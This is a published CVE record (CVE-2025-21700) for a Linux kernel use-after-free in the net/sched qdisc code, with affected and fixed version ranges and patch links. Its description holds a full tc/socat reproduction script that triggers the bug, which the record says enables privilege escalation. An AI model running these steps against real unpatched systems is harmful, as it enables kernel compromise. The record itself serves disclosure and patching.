| { |
| "containers": { |
| "cna": { |
| "providerMetadata": { |
| "orgId": "f4215fc3-5b6b-47ff-a258-f7189bd81038" |
| }, |
| "descriptions": [ |
| { |
| "lang": "en", |
| "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug <=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent. b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12. send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13. send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann <nnamrec@gmail.com>" |
| } |
| ], |
| "affected": [ |
| { |
| "product": "Linux", |
| "vendor": "Linux", |
| "defaultStatus": "unaffected", |
| "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", |
| "programFiles": [ |
| "net/sched/sch_api.c" |
| ], |
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| { |
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| "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2", |
| "lessThan": "deda09c0543a66fa51554abc5ffd723d99b191bf", |
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| }, |
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| "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2", |
| "lessThan": "7e2bd8c13b07e29a247c023c7444df23f9a79fd8", |
| "status": "affected", |
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| "status": "affected", |
| "versionType": "git" |
| } |
| ] |
| }, |
| { |
| "product": "Linux", |
| "vendor": "Linux", |
| "defaultStatus": "affected", |
| "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", |
| "programFiles": [ |
| "net/sched/sch_api.c" |
| ], |
| "versions": [ |
| { |
| "version": "2.6.12", |
| "status": "affected" |
| }, |
| { |
| "version": "0", |
| "lessThan": "2.6.12", |
| "status": "unaffected", |
| "versionType": "semver" |
| }, |
| { |
| "version": "5.4.291", |
| "lessThanOrEqual": "5.4.*", |
| "status": "unaffected", |
| "versionType": "semver" |
| }, |
| { |
| "version": "5.10.235", |
| "lessThanOrEqual": "5.10.*", |
| "status": "unaffected", |
| "versionType": "semver" |
| }, |
| { |
| "version": "5.15.179", |
| "lessThanOrEqual": "5.15.*", |
| "status": "unaffected", |
| "versionType": "semver" |
| }, |
| { |
| "version": "6.1.129", |
| "lessThanOrEqual": "6.1.*", |
| "status": "unaffected", |
| "versionType": "semver" |
| }, |
| { |
| "version": "6.6.76", |
| "lessThanOrEqual": "6.6.*", |
| "status": "unaffected", |
| "versionType": "semver" |
| }, |
| { |
| "version": "6.12.13", |
| "lessThanOrEqual": "6.12.*", |
| "status": "unaffected", |
| "versionType": "semver" |
| }, |
| { |
| "version": "6.13.2", |
| "lessThanOrEqual": "6.13.*", |
| "status": "unaffected", |
| "versionType": "semver" |
| }, |
| { |
| "version": "6.14", |
| "lessThanOrEqual": "*", |
| "status": "unaffected", |
| "versionType": "original_commit_for_fix" |
| } |
| ] |
| } |
| ], |
| "cpeApplicability": [ |
| { |
| "nodes": [ |
| { |
| "operator": "OR", |
| "negate": false, |
| "cpeMatch": [ |
| { |
| "vulnerable": true, |
| "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", |
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| ], |
| "references": [ |
| { |
| "url": "https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97" |
| }, |
| { |
| "url": "https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b" |
| }, |
| { |
| "url": "https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d" |
| }, |
| { |
| "url": "https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf" |
| }, |
| { |
| "url": "https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8" |
| }, |
| { |
| "url": "https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70" |
| }, |
| { |
| "url": "https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc" |
| }, |
| { |
| "url": "https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f" |
| } |
| ], |
| "title": "net: sched: Disallow replacing of child qdisc from one parent to another", |
| "x_generator": { |
| "engine": "bippy-1.2.0" |
| } |
| } |
| }, |
| "cveMetadata": { |
| "assignerOrgId": "f4215fc3-5b6b-47ff-a258-f7189bd81038", |
| "cveID": "CVE-2025-21700", |
| "requesterUserId": "gregkh@kernel.org", |
| "serial": "1", |
| "state": "PUBLISHED" |
| }, |
| "dataType": "CVE_RECORD", |
| "dataVersion": "5.0" |
| } |
